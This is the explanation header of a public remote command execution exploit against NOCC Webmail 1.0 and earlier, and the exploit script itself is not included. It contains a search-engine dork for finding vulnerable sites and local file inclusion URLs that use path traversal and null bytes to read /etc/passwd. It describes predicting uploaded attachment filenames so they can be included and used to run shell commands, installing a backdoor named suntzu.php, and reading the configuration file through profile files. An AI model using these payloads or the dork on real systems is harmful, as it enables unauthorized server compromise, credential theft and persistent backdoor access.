# NOCC Webmail <= 1.0 remote commands execution exploit through arbitrary #
# local inclusion & attachment filename prediction #
# #
# coded by rgod #
# site: http://retrogod.altervista.org #
# #
# -> works regardless of any magic_quotes_gpc settings #
# #
# dork: ("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net #
# -Zoekinalles.nl -analysis #
# #
# Sun-Tzu: "Knowing the place and the time of the coming battle, we may #
# concentrate from the greatest distances in order to fight" #
/* short explaination:
we have various arbitrary local inclusion issues, ex:
http://[tArGeT]/[pAtH]/index.php?lang=../../../../../../../../../../../../etc/passwd%00
http://[tArGeT]/[pAtH]/index.php?theme=../../../../../../../../../../../etc/passwd%00
http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../../etc/passwd%00
This code upload an evil mail attachment (file is renamed by NOCC...).
After, it tries to include it, predicting its name and its location, ex:
http://[tArGeT]/[pAtH]/index.php?lang=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la
http://[tArGeT]/[pAtH]/index.php?theme=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la
http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=..%2f..%2Ftmp%2Fphp53.tmp1140662880.att%00
If succeeded, it installs a backdoor called suntzu.php on target server.
To launch this exploit you need a POP3 account on a machine of your choice,
you need to supply servername, username & password.
a note:
you can do the same manually and more quickly with profile files, if
enabled, ex:
edit your profile, then:
http://[target]/[path]/index.php?cmd=cat%20conf.php&lang=../profiles/username@somehost.com.pref%00
